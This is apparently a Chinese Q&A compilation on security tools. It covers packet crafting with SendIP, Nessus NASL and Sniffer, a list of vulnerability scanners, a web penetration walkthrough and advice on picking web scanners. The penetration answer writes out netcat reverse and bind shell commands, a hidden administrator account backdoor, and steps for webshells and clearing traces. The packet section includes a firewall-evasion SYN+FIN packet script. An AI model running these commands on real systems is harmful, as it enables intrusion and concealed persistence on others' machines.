❶ 发包长度大于1518的发包工具
三款常用IP发包工具介绍
SENDIP 可在各种UNIX 或LINUX 版本中运行,本人使用的是SLACKWARE 8.0 和
REDHAT 9.0 两个版本。
可在网站http://www.earth.li/projectpurple/progs/sendip.html 中下载最新的源代码或RPM
包,目前版本为2.5,源码包大小只有54K。
2.1.1. 安装过程
SENDIP 的安装过程非常简单,首先从前面介绍的网站中下载最新的源代码包,目前为
sendip-2.5.tar.gz。
在LINUX 系统中执行:
#tar –xzvf sendip-2.5.tar.gz
#cd sendip-2.5
#make
#make install
在系统的/usr/local/bin 目录下会产生一个SENDIP 命令文件,同时,在/usr/local/lib 目录
下建立一个sendip 目录,并在其下放置ipv4.so、ipv6.so、tcp.so 等与协议相关的模块文件。
通过在命令行下运行这个文件,我们可以产生各种各样我们需要的IP 包,还可以通过运行
脚本自动发送大量的IP 包。
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第3 页共14 页
2.1.2. 发包方法
SENDIP 可以发送NTP, BGP, RIP, RIPng, TCP, UDP, ICMP、IPv4 和IPv6 等各种格式的
数据包,SENDIP 本身是以模块的方式发送各种协议的数据包,用-p 参数指定协议类型,要
发送每种协议的数据包, 必须对该协议的数据包格式有一定的了解。通常发送
TCP/UDP/ICMP 数据包时,都必须以IP 包进行封装,然后才可以发出去。本节我们将以TCP
数据包为例进行讲述。
下面介绍一下SENDIP 的命令行格式,以下为直接执行SENDIP 时的输出:
Usage: sendip [-v] [-d data] [-h] [-f datafile] [-p mole] [mole options] hostname
-d data add this data as a string to the end of the packet
Data can be:
rN to generate N random(ish) data bytes;
0x or 0X followed by hex digits;
0 followed by octal digits;
any other stream of bytes(以指定字节的随机数据填充包中的数据段)
-f datafile read packet data from file(以指定数据文件中的内容填充包中的数据段)
-h print this message(输出帮助信息)
-p mole load the specified mole (see below)(指定协议类型)
-v be verbose(运行时输出详细运行信息,如不指定,运行时不输出信息)
(协议类型是以模块的方式指定的,用-p 参数指定)
Moles are loaded in the order the -p option appears. The headers from
each mole are put immediately inside the headers from the previos model in
the final packet. For example, to embed bgp inside tcp inside ipv4, do
sendip -p ipv4 -p tcp -p bgp ....
Moles available at compile time:
ipv4 ipv6 icmp tcp udp bgp rip ntp(支持的协议类型)
通常执行格式如下:
#sendip –v –d r64 –p ipv4 –iv 4 –ih 5 –il 128 –is 10.0.0.1 –id 30.0.0.1 –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1
-v:运行时输出详细运行信息,如不指定,运行时不输出信息
–d r64:用64 字节的随机数值填充IP 包中的数据段
–p ipv4:指定协议类型为IP 协议(IP 协议有自己的相应参数,以i 开头)
–iv 4:协议版本为4,即IPV4
–ih 5:指定IP 头的长度为5×4=20 字节
–il 128:指定IP 包的总长度为128 字节
–is 10.0.0.1:指定IP 包的源地址
–id 30.0.0.1:指定IP 包的目的地址
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第4 页共14 页
–p tcp:指定IP 包中封装的包的协议类型(TCP 协议有自己的相应参数,以t 开头)
–ts 1379:指定TCP 包的源端口1379
–td 23:指定TCP 包的目的端口为23
-tt 8:指定TCP 包的偏移量即TCP 头的长度,没有TCP 选项时为5,即20 字
节,有TCP 选项时需要增加。
30.0.0.1:指定发包的目的主机
以上部分为利用SENDIP 发送一个简单的TCP 数据包的方法,下面结合IP 和TCP 数据
包的格式详细介绍IP 和TCP 协议的各种参数。
具体各种协议的数据包格式可参考TCP/IP 协议中对各种协议数据包格式的介绍,下面
我们只介绍IP 数据包的格式和TCP 数据包的格式:
IP 数据包的格式:
根据IP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的IP 数据包中参数的
值。
Field name
Size
(bits)
SendIP
option
Description
Version 4 -iv Always 4(对应“4 位版本”,通常值为4,表示IPV4)
Header length 4 -ih
IP header length, measured in 32bit words, 5 if there are
no options(对应“4 位首部长度”,表示以32 位即4
字节为单位的IP 首部长度,如果没有IP 参数的话,
通常为5,表示首部长度为20 字节,如有IP 参数的
话,需要调整该值)
Type of
Service/Differentiated
Services
8 -iy
服务类型(TOS)字段由8 位组成,其中包括3 位的
优先权字段(现已被忽略)、4 位的TOS 子字段和1
位未用位但必须置0,4 位TOS 子字段分别代表最小
时延、最大吞吐量、最高可靠性和最小费用。4 位只
能置其中1 位,使用时只要将设置相应位后运算出十
进制值即可。如要设置最大吞吐量位(00001000),只
需添加参数iy 8 即可。
Total Length 16 -il Total length of IP packet including header and data,
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第5 页共14 页
measured in octets(指定IP 包的总长度,包括IP 头部
分和数据部分,以8 位字节为单位,最长为65535)
Identification 16 -ii
Used to help reassembled fragmented packets(指定IP
包的标识号,用来帮助重新组装分段的IP 包)
-ifr 1 bit: reserved, should be 0
-ifd 1 bit: don't fragment(可指定-ifd x,下可为0、1 或r) Flags 3
-ifm 1 bit: more fragmets(可指定-ifm x,下可为0、1 或r)
Fragment offset 13 -if
Where in the reconstructed datagram this fragment
belongs, measured in 64bit words starting from 0(以8
字节长度为单位,指定段偏移量)
Time to Live 8 -it
Number of routers the packet can pass through before
being discarded(值的范围从0 到255,指定TTL,表
示该包可通过的路由器的数目,用于防止包在循环路
径上无休止地传递)
Protocol 8 -ip
Protocol associated with the data. See iana for an
uptodate list of assigned numbers(用于定义IP 包内部
封装的上层协议的协议号,如TCP 为6,可在IANA
的网站上
http://www.iana.org/assignments/protocol-numbers
获得最新的协议号表)
Header checksum 16 -ic
Checksum of the IP header data (with checksum set to
zero)(可指定IP 首部校验和的值,通常由SENDIP 自
动生成,不指定该参数,除非要发出带有错误校验和
的包)
Source Address 32 -is Duhh...(源地址,以点分十进制方式表示)
Destination Address 32 -id Cabbage(目的地址,以点分十进制方式表示)
Options Variable -io...
No options are required. Any number can be added. See
below for details(定义各种IP 选项,如果定义了IP
选项,则前面的IP 头的长度值要包括IP 选项的长度,
不带IP 选项时,该值为20,带IP 选项时,可设定该
值,如果要故意制造不匹配的包,可不符合规范。)
如果有IP 选项,还可指定IP 选项的值,SENDIP 支持的IP 选项如下表所示。
Name
SendIP
option
RFC Copy Class Number
Type
(see
above)
Length
(0 not
present)
Description
EOL -ioeol 791 0 0 0 0 0
Used as padding if needed
(使用该选项后,会自动在IP 头
中未用到的位补0)
NOP -ionop 791 0 0 1 1 0
Do nothing. Often used as padding
so the next option starts on a 32 bit
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第6 页共14 页
boundary
RR -iorr 791 0 0 7 7 variable
Used to record the route of a
packet.(记录包走过的每个路由
器, 通常用法是: -iorr
0f:ff.ff.ff.ff:10.0.0.234 –ioeol,其中
iorr 表示记录路由,此时系统会自
动将IP 选项号置为07,0f 表示指
针,即记录的最后一个IP 地址的
指针,系统会自动运算该IP 选项
的长度)
TS -iots 791 0 2 4 68 variable
Used to record the time at which a
packet was processed by an
intermediate system
LSR -iolsr 791 1 0 3 131 vairable
Loose Source Route - let the
source specify the route for a
packet.
SID -iosid 791 1 0 8 136 4
Rarely used, carries the SATNET
stream identifier.
SSR -iossr 791 1 0 9 137 variable
Strict Source Route - same as LSR,
but extra hops are not allowed.
SEC
791,
1108
1 0 2 130 variable Security, rarely used
E-SEC 1108 1 0 5 133 variable Extended Security, rarely used
通常在SENDIP 中指定IP 选项时,格式比较特别,下面我们以RR 记录路由选项为例
介绍一下,如果要发送一个记录三个IP 的数据包,需要考虑如下,一是指定IP 头的长度要
包括IP 选项的长度,而是要指定RR 记录路由选项的指针位置和IP 地址(本来是由系统自
动记录IP 和更新指针位置,但现在必须手工指定),那么记录三个IP 包后,指针的位置应
是3+4×3+1=16,造好后,数据包的格式应该如下:
IP 头07 15 16 10.0.0.234(IP1) 20.0.0.234(IP2) 30.0.0.234(IP3) 00(ioeol) tcp
20B RR len ptr 4bytes 4bytes 4bytes Ptr
具体命令行如下:
#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234
–ioeol –p tcp –ts 1379 –td 23 –tt 8 30.0.0.1
-ih 10 表示IP 头的长度为10×4 为40 个字节,去除标准的20 个字节长度,为IP
选项预留为20 个字节
-iorr 10:10.0.0.234:20.0.0.234:30.0.0.234 中第一个10 表示用16 进制表示的指针的
位置,后面为用冒号分隔的三个用点分十进制表示的IP 地址
-ioeol 表示用00 结束IP 选项,并用随机数填充后面未用的IP 头位置
以上部分只是以RR 记录路由IP 选项为例,介绍了sendip 中指定IP 选项的方法,当然
也可以根据自己的要求发送IP 选项不符合常规的数据包。其他的IP 选项与此雷同,但发送
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第7 页共14 页
前需要详细了解IP 选项的格式,才可正确发送。
TCP 数据包的格式:
根据TCP 数据包的格式,SENDIP 有如下命令行参数可以指定对应的TCP 数据包中参
数的值。
Field name
Size
(bits)
SendIP
option
Description
Source port 16 -ts
Source port number for the connection
(以十进制的方式指定TCP 原端口)
Destination port 16 -td
Destination port number
(以十进制的方式指定TCP 目的端口)
Sequence number 32 -tn
Number of the first data octet in this packet. If SYN bit is
set, this is the number of the first data octet of the stream
too.(指定TCP 序列号,如果不指定则随机产生)
Acknowledgment
number
32 -ta
If ACK bit is set, the next sequence number the sender is
expecting to receive.
Data offset 4 -tt
Length of TCP header in 32 bit words(指定TCP 头的长
度,单位是以32bits 也就是4 字节为单位)
Reserved 4 -tr
Should be 0. Note, rfc793 defines this as a 6 bit field, but
the last 2 are used by rfc2481 for ECN as below.
Flags: ECN 1 -tfe
Flags: CWR 1 -tfc
ECN extension flags, see rfc2481. (指定TCP 标志位,
如果要打开哪一位,就在命令行参数中指定相应位的
值,如要设置SYN 状态,只需在命令行加入-tfs 1 即可
)
Flags: URG 1 -tfu Urgent pointer is significant(同上)
Flags: ACK 1 -tfa Acknowledgment field is significant(同上)
Flags: PSH 1 -tfp Push function(同上)
Flags: RST 1 -tfr Reset the connection(同上)
Flags: SYN 1 -tfs Synchronize sequence numbers(同上)
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第8 页共14 页
Flags: FIN 1 -tff No more data from sender(同上)
Window 16 -tw
Number of octet starting from the one in the
Acknowledgement field that the sender is willing to
accept
Checksum 16 -tc
Checksum of the TCP header (with checksum set to 0),
data, and a psuedo-header including the source and
destination IP addresses, IP protocol field and a 16 bit
length of the TCP header and data.
Urgent pointer 16 -tu
If URG bit is set, tHe offset of the last octet of urgent data
in this packet.
Options Variable -to...
No options are required. Any number can be added. See
below for details.
如果有TCP 选项,还可指定TCP 选项的值,SENDIP 支持的TCP 选项如下表所示。
Name
SendIP
option
RFC Type
Length (0
not
present)
Description
EOL -toeol 793 0 0
Used as padding if needed(用00 填充,表示TCP
选项结束,把TCP 头后面的位置用随机数填充)
NOP -tonop 793 1 0
Do nothing. Often used as padding so the next
option starts on a 32 bit boundary
MSS -tomss 793 2 4
Specify the maximum recieve segment size of the
sender as a 16 bit number. Only valid when SYN is
also set
WSOPT -towscale 1323 3 3
The window size should be leftshifted by the value
of the option (an 8 bit number). Only valid when
SYN is also set.
SACKOK -tosackok 2018 4 2
Selective Acknowledgement is permitted on this
connection
SACK -tosack 2018 5 variable
Selective Acknowledgement of non-contiguous
blocks of data. The data in the option is a series of
(left edge)-(right edge) pairs giving, respectively,
the first sequence number the has been recieved and
the first that hasn't.
TSOPT -tots 1323 8 10
Timestamp. The first 4 bytes (TSval) are the time
that the packet was sent, the remaining 4 (TSecr)
echo the TSval of a packet that was recieved. TSecr
is only valid when the ACK bit is set.
从上表所示,可以看出,TCP 选项可能只有一个单字节参数,如-toeol 和-tonop,也可
能由一个Type 号和一个length 长度以及该length 长度指定的字节数的数据组成的参数,使
用时sendip 会自动运算length 的长度,所以,不能随意设定TCP 选项的长度,但需要设定
TCP 选项的值。
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第9 页共14 页
在设定TCP 选项时,同样要考虑到TCP 头的长度要包括TCP 选项的长度。
TCP 选项数据包的格式大致如下:
Kind=3 Len=3 数据:移位数
TCP 选项号TCP 选项长度TCP 选项数据占一个字节,总长度为三个字节
具体命令行格式可参照如下格式:
#sendip –d r64 –p ipv4 –iv 4 –ih 10 –il 128 –is 10.0.0.1 –id 30.0.0.1 –iorr 10:10.0.0.234:20.0.0.234:30.0.0.234
–ioeol –p tcp –ts 1379 –td 23 –tt 8 –tfa 0 –tfs 1 –towscale 0 –toeol 30.0.0.1
-towscale 0 :指设置TCP 选项3,长度为自动3,TCP 选项的值即移位数为0
-toeol :表示TCP 选项结束,后面用随机数填满TCP 头
因为用SENDIP 设定TCP 选项时,不能设定长度,所以,如果要设定长度不正确的包,
还要借助其他工具,如SNIFFER,用SNIFFER 抓到SENDIP 发送的包后,再将对应的TCP
选项的长度改为不规则的值即可。
根据前面介绍的内容,我们已经基本可以掌握用SENDIP 发送各种协议数据包的方法,
当然我们还可以利用他发送各种不符合标准的数据包,如校验和错误、长度不正确、状态位
不正确等各种我们需要的数据包,在使用时,建议与SNIFFER 搭配使用,以验证SENDIP
发出的包是否正确,进行有针对性的测试。
2.2. NESSUS 工具
NESSUS 是一个非常庞大的工具,它可以提供功能完善的安全扫描服务,还可以提供全
面的发包功能,用以构造各种格式的网络通信包。本篇只关注NESSUS 的发包功能。
NESSUS 由两个部分组成,一部分是服务器,通常运行在POSIX 系统如LINUX/UNIX
系统中,负责扫描和攻击,并收集数据,另一部分是客户端,可以运行在LINUX/UNIX 系
统或WINDOWS 系统中,负责接收和显示数据。
如果只是用来发包,则只需要服务端即可。
NESSUS 有专门的维护网站,可以随时到http://www.nessus.org 网站下载最新的源代码,
并获得全面的帮助。目前,NESSUS 最新的版本为2.0.8a。
2.2.1. NESSUS 安装方法
安装NESSUS 前要知道NESSUS 可能需要的支撑软件包,一个是GTK,通常POSIX
系统下的NESSUS 客户端需要GTK,如果你的系统安装了GTK,则必须确保安装了
gtk-config 程序,可到ftp://ftp.gimp.org/pub/gtk/v1.2 网站下载最新的GTK 程序,如果只在
LINUX/UNIX 系统下安装服务端,则可以不需要GTK 包;另一个是OPENSSL 包,如果希
望客户端和服务端的通信采用SSL 方式,则需要OPENSSL 包,可到http://www.openssl.org/
下载最新的OPENSSL 包,OPENSSL 包是可选的。
NESSUS 有三种安装方法:第一种是利用LINUX 下的LYNX 工具直接从网上安装,这
种方法很容易,但安全性低,在此不予详细介绍,可到NESSUS 网站上获取相关信息。第
二种方法是使用NESSUS 提供的nessus-installer.sh 工具,直接安装,这种方法简单且安全性
比较高。第三种方法是获取源码包,然后分别编译再进行安装。下面分别介绍第二种和第三
种方法。
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第10 页共14 页
2.2.1.1. 采用nessus-installer.sh 方式安装
从NESSUS 网站下载最新的nessus-installer.sh 文件到本地LINUX 目录,然后执行
#sh nessus-installer.sh
系统会自动安装NESSUS 到你的系统中,中间会需要你提供相关的提示信息,一直按
回车即可。
2.2.1.2. 采用源码包方式安装
如果采用源码包方式进行安装,需要下载四个软件包,并按顺序进行安装。四个软件包
分别如下:
nessus-libraries
libnasl
nessus-core
nessus-plugins
安装时必须按顺序安装这四个软件包。
安装前,我们必须获得上面所说的四个软件包,目前版本为2.0.8a:
nessus-libraries-x.x.tar.gz
libnasl-x.x.tar.gz
nessus-core.x.x.tar.gz
nessus-plugins.x.x.tar.gz
然后开始进行安装。
1. 安装nessus-libraries
#tar –xzvf nessus-libraries-x.x.tar.gz
#cd nessus-libraries-x.x
#./configure
#make
#make install
2. 安装libnasl-x.x.tar.gz (执行与上面相同的操作)
3. 安装nessus-core.x.x.tar.gz(执行与上面相同的操作)
4. 安装nessus-plugins.x.x.tar.gz (执行与上面相同的操作)
5. 如果使用的是LINUX 系统,必须确保/usr/local/lib 路径在/etc/ld.so.conf 文件中,如
果是SOLARIS 系统, 必须执行export LD_LIBRARY_PATH=
$LD_LIBRARY_PATH :/usr/local/lib 命令。
6. 执行ldconfig 命令
7. 如果不想或不能使用GTK 的客户端,可强制使用命令行方式,这时,在执行第三
步编译nessus-core 时,可以使用如下命令:
#tar –xzvf nessus-libraries-x.x.tar.gz
#cd nessus-libraries-x.x
#./configure --disable-gtk
#make
#make install
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第11 页共14 页
执行以上命令后,NESSUS 就已经安装在您的系统中了。
2.2.2. NESSUS 的发包方法
NESSUS 通常采用脚本方式控制发出的包,下面我们以发送圣诞老人攻击包为例,来介
绍如何利用NESSUS 发送数据包。
圣诞老人包是通过发送TCP Flag 中同时有SYN 和FIN 标志的数据包,穿透防火墙,
来达到攻击的目的。
为使用NESSUS 发送攻击包,首先要定义一个脚本,在LINUX 下,执行vi sendp 命令,
输入如下内容:
srcaddr=this_host(); 注:自动获取当前主机的IP 地址
ip = forge_ip_packet( ip_v : 4, 注:IP 协议版本为IPV4
ip_hl : 5, 注:IP 头的长度为5×4=20 字节
ip_tos : 0,
ip_len : 40, 注:在这里输入实际的长度40,因为IP 头和TCP 头都为20
ip_id : 0xABA,
ip_p : IPPROTO_TCP, 注:内部数据包协议为TCP
ip_ttl : 255,
ip_off : 0,
ip_src : srcaddr); 注:可在此直接输入IP
port = get_host_open_port(); 注:自动获取当前主机上的可用端口
if(!port)port = 139; 注:如果没有可用端口,就自动使用139 端口
tcpip = forge_tcp_packet( ip : ip, 注:表示IP 层协议采用前面定义的IP 协议包
th_sport : port, 注:可在这里直接输入端口
th_dport : port, 注:可在这里直接输入端口
th_flags : TH_SYN|TH_FIN, 注:设置TCP 状态的SYN 和FIN 标志位
th_seq : 0xF1C,
th_ack : 0,
th_x2 : 0,
th_off : 5, 注:TCP 头的长度位5×4=20 字节
th_win : 512,
th_urp : 0);
result = send_packet(tcpip,pcap_active:FALSE);
编辑完上面的脚本后,保存退出,运行如下命令:
#nasl –t 目的IP 地址测试脚本
如:
#nasl –t 10.0.0.227 sendp
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第12 页共14 页
通过Sniffer 抓包,就会发现有相应的圣诞老人包。
在我的使用过程中,发现NESSUS 好像不支持发送带有IP 或TCP 选项的包。
具体发包的参数可参考http://www.nessus.org/doc/nasl.html
2.3. SNIFFER 工具
用SNIFFER 发包时,有两种方式,一种是直接利用Packet Generator 工具,从0 开始用
16 进制的方式造一个数据包,这种方法难度较高,因为要自己算出校验和,除非需要重现
在网络上抓到的一个16 进制格式的数据包,另外一种方式是利用已经抓到的数据包修改一
下,再发送出去,具体实现方法分别如下。
2.3.1. 利用Packet Generator 直接造包
在SNIFFER 中,选择Tools|Packet Generator 菜单,系统弹出窗口如下:
按图中的红色框中的按钮,系统会弹出一个构造包内容的对话框,如下所示:
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第13 页共14 页
在上图中可输入包的内容,还可规定发包的个数和包的长度。
2.3.2. 利用已抓的包发包
利用已抓的包进行修改,可以避免大量的运算和输入,只需要更改自己需要更改的地方,
然后发出去即可。
如上图所示,按包的大致要求,用其他工具造好包后,用SNIFFER 抓包,或者直接将
网络上的可疑包抓过来,然后,用鼠标邮件单击该包,弹出如上图所示的快捷菜单,从中选
择Send Current Frame 菜单,系统就会弹出如下图所示的发包窗口:
AntPower 版权所有&; 2003 技术文章
http://www.antpower.org 第14 页共14 页
按要求更改包的内容,即可发送。需要注意的是如果更改了IP 地址或其他头中的内容,
则需要更新校验和,对MAC 或选项的更改不需要更改校验和。
3. 总结
通过对比前面的三种发包工具,我们发现每种工具都有自己的优点和缺点,SENDIP 比
较短小而且功能较齐全,比较适合在日常测试中使用,SNIFFER 发包工具最自由,可以发
出任何可能的数据包,NESSUS 工具功能比较全面,但在发包方面不如SENDIP,所以,建
议如果是测试需要的话,应该采用SENDIP 和SNIFFER 相结合的方式,如果同时还要使用
扫描等其他功能,可以采用NESSUS 工具。
❷ 有没有好用的漏洞扫描工具
1、OpenVAS漏洞扫描工具
OpenVAS漏洞扫描器是一种漏洞分析工具,由于其全面的特性,IT部门可以使用它来扫描服务器和网络设备。
这些扫描器将通过扫描现有设施中的开放端口、错误配置和漏洞来查找IP地址并检查任何开放服务。扫描完成后,将自动生成报告并以电子邮件形式发送,以供进一步研究和更正。
OpenVAS也可以从外部服务器进行操作,从黑客的角度出发,从而确定暴露的端口或服务并及时进行处理。如果您已经拥有一个内部事件响应或检测系统,则OpenVAS将帮助您使用网络渗透测试工具和整个警报来改进网络监控。
2、Nessus漏洞扫描工具
Tenable的Nessus
Professional是一款面向安全专业人士的工具,负责修补程序、软件问题、恶意软件和广告软件删除工具,以及各种操作系统和应用程序的错误配置。
Nessus提供了一个主动的安全程序,在黑客利用漏洞入侵网络之前及时识别漏洞,同时还处理远程代码执行漏洞。
它关心大多数网络设备,包含虚拟、物理和云基础架构。Tenable还被认为是Gartner Peer
Insights在2003年3月之前进行危险性评估的首选方案。
3、Nexpose community
Nexpose community是由Rapid7开发的漏洞扫描工具,它是涵盖了大多数网络检查的开源解决方案。
这个解决方案的多功能性是IT管理员的一个优势,它可以被整合到一个Metaspoit框架中,能够在任何新设备访问网络时检测和扫描设备。
它还可以监控真实世界中的漏洞暴露,最重要的是,它可以进行相应的修复。此外,漏洞扫描程序还可以对威胁进行风险评分,范围在1-1000之间,从而为安全专家在漏洞被利用之前修复漏洞提供了便利。Nexpose目前可免费试用一年。
4、Nikto
Nikto是另一个免费的在线漏洞扫描工具,如Nexpose community。
Nikto可帮助您了解服务器功能,检查其版本,在网络服务器上进行测试以识别威胁和恶意软件的存在,并扫描不同的协议,如https、httpd、http等。
还有助于在短时间内扫描服务器的多个端口,Nikto因其效率和服务器强化功能而受到青睐。
5、Retina
Retina漏洞扫描工具是基于Web的开源软件,从中心位置负责漏洞管理。它的功能包括修补、合规性、配置和报告。
负责数据库、工作站、服务器分析和Web应用程序,完全支持VCenter集成和应用程序扫描虚拟环境;它负责多个平台,提供完整的跨平台漏洞评估和安全性。
❸ web渗透是什么
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
❹ 比较好的web安全扫描工具有哪些
随着网站业务所承载内容的日益增多且重要性日益增强,网站本身的价值也越来越大,随之由网站漏洞带来的安全性问题也愈发严峻。新开通网站、新增专栏的准入质量评估,网站系统日常运行状况的检查预防和风险掌控,这些已成为各行业每年安全大检查中的关键要素。作为具体落实定期检查工作的安全人员,也急需选择一款优秀的网站扫描产品进行高效彻底的Web脆弱性评估检查,而如何选择一款真正实用的产品成为一个比较纠结的难题。
常见Web扫描方案的优劣势
目前常见的支持Web扫描解决方案的产品有很多,大家比较熟悉的有集成Web扫描模块的多合一系统扫描器,网上可免费下载的开源扫描器软件以及近几年刚崭露头角的独立Web扫描器产品等,都可以进行一定程度的Web安全扫描和漏洞发现。那么面对如此琳琅满目的选择时,大家如何细致区分辨识其差异,就需严格立足于实际需要,最终做出最佳的判断。
多合一的系统扫描器,通常会集主机扫描、配置核查、Web扫描及弱口令扫描于一身,是一款强大全面的多功能产品。但多合一的高度封装导致其在进行安全扫描时,除不能分配全部计算资源在Web扫描方面,扫描引擎自身还要兼顾到全方位的权衡与调优。反观目标Web应用呈现的种类多样性、规模庞大性和运行特殊性,在面对动辄上万、十万甚至百万级别网页数量的网站时,这种多合一产品就表现得差强人意,使用起来有种牛拉火车的感觉;同时,高效执行扫描评估就必须具备高并发的网页链接爬虫识别和Web插件交互逻辑判断能力,这一现实的冲突导致多合一扫描器在Web扫描及性能体验方面效果平平,优势不突出。
网上开源的Web扫描器软件,尽管完全免费并可以发现一些基本的漏洞信息,但其在第一时间发现新爆Web漏洞和漏洞趋势跟踪分析、修补方面,完全不具备后期支撑能力。而且在人性化设计及低学习门槛方面也存在太多先天的不足,其性能与稳定性更是与商业软件相差甚远。
面对综上同类产品,困惑于Web扫描场景需求种种局限的我们,很欣喜地看到了近几年声名鹊起的Web扫描器产品。它作为一款自动化评估类工具,依据制定的策略对Web应用系统进行URL深度发现并全面扫描,寻找出Web应用真实存在的安全漏洞,如跨站点脚本、SQL注入,命令执行、目录遍历和不安全的服务器配置。Web扫描器产品可以通过主动生成统计分析报告来帮助我们正确了解Web应用漏洞的详细分布、数量和风险优先级,并对发现的安全漏洞提出相应有力的改进意见供后续修补参考,是帮助我们高效彻底地进行Web脆弱性评估检查的坚实利器。
Web扫描器的三个误区
针对现有市面上诸多品牌的Web扫描器,大家在评价它们孰优孰劣时时常过于片面极端,主要表现为三个认识误区。
误区1:多就是好!
认为漏洞库条目多,检查出来的漏洞多就是好。Web扫描器面对庞大繁多、千差万别的应用系统,为提升检测性能,多采用高效率的Web通用插件,以一扫多,其不再局限于某个专门应用系统,深层次聚合归并,尽可能多地发现多种应用系统的同类漏洞。同时,对于扫描出来的非误报漏洞,若同属某一页面不同参数所致的相同漏洞,归纳整理,让最终呈现的漏洞报表简约而不简单,避免数量冗余、杂乱无章。故若以毫无插件归并能力,仅靠大量专门Web系统插件、罗列各类漏洞列表数量多来博取赞许的Web扫描器,其本质存在太多的不专业性。
误区2:快就是好!
认为扫描速度快耗时短的就是好。网站规模日趋复杂,日常检查时我们期待Web扫描器能有更高效率地完成扫描任务,这点无可厚非,但检查的本质是要最大限度地提前发现足够多的漏洞,并第一时间制定后续相应的修补计划。故在面对同一目标站点时,Web扫描器若能在单位时间内检测出来的有效存在漏洞数越多,这个快才是真的好。
误区3:小就是好!
认为扫描过程中对目标业务影响小就是好!这句话本身也没有问题,只要Web扫描器在执行扫描过程中,对目标系统负载响应和网络链路带宽占用,影响足够小,也就是我们常说的“无损扫描”,它就具备了一款优秀Web扫描器应有的先决条件。但是,这必须是在能最大限度发现Web漏洞的前提下才能考虑的关键因素,脱离这个产品本质,就本末倒置了。
五个基本评优标准
那么,评优一款Web扫描器,我们该从何处着手?具体的判断标准有哪些呢?
全——识别种类繁多的Web应用,集成最全的Web通用插件,通过全面识别网站结构和内容,逐一判断每一种漏洞可能性,换句话说,漏洞扫描的检测率一定要高,漏报率务必低,最终才能输出全面详尽的扫描报告。这就要求其在Web应用识别方面,支持各类Web语言类型(php、asp、.net、html)、应用系统类型(门户网站、电子政务、论坛、博客、网上银行)、应用程序类型(IIS、Apache、Tomcat)、第三方组件类型(Struts2、WebLogic、WordPress)等;插件集成方面,支持国际标准漏洞分类OWASP TOP 10和WASC插件分类模板,允许自定义扫描插件模板,第一时间插件更新速度等。
准——较高的漏洞准确性是Web扫描器权威的象征,可视化分析可助用户准确定位漏洞、分析漏洞。而误报是扫描类产品不能回避的话题。Web扫描器通过通用插件与目标站点任一URL页面进行逻辑交互,通过可视化的漏洞跟踪技术,精准判断和定位漏洞,并提供易读易懂的详细整改分析报告。除此之外,一款好的Web扫描器还要更具人性化,在漏洞发现后,允许扫描者进行手工、自动的漏洞批量验证,进而双重保障较高的准确性结果。
